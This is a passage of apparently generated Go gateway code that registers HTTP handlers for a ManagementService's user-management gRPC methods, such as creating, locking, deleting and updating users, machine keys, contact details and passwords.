mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserByLoginNameGlobal_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetUserByLoginNameGlobal_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserByLoginNameGlobal_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchUsers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchUsers_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchUsers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreateUser_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_DeactivateUser_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ReactivateUser_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_LockUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_LockUser_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_LockUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UnlockUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UnlockUser_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UnlockUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_DeleteUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_DeleteUser_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeleteUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_UserChanges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UserChanges_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UserChanges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddMachineKey_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_AddMachineKey_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddMachineKey_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_DeleteMachineKey_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_DeleteMachineKey_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeleteMachineKey_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchMachineKeys_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchMachineKeys_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchMachineKeys_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetMachineKey_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetMachineKey_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetMachineKey_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserProfile_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetUserProfile_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserProfile_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateUserProfile_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateUserProfile_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateUserProfile_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserEmail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetUserEmail_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserEmail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ChangeUserUserName_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ChangeUserUserName_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeUserUserName_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeUserEmail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ChangeUserEmail_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeUserEmail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_ResendEmailVerificationMail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ResendEmailVerificationMail_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ResendEmailVerificationMail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserPhone_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetUserPhone_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserPhone_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeUserPhone_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ChangeUserPhone_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeUserPhone_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveUserPhone_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveUserPhone_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveUserPhone_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_ResendPhoneVerificationCode_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ResendPhoneVerificationCode_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ResendPhoneVerificationCode_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserAddress_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetUserAddress_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserAddress_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateUserAddress_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateUserAddress_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateUserAddress_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateUserMachine_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateUserMachine_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateUserMachine_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchUserExternalIDPs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchUserExternalIDPs_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchUserExternalIDPs_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveExternalIDP_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveExternalIDP_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveExternalIDP_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserMfas_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetUserMfas_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserMfas_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SendSetPasswordNotification_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SendSetPasswordNotification_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SendSetPasswordNotification_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SetInitialPassword_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SetInitialPassword_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SetInitialPassword_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_ResendInitialMail_0, func(w http.ResponseWriter, req 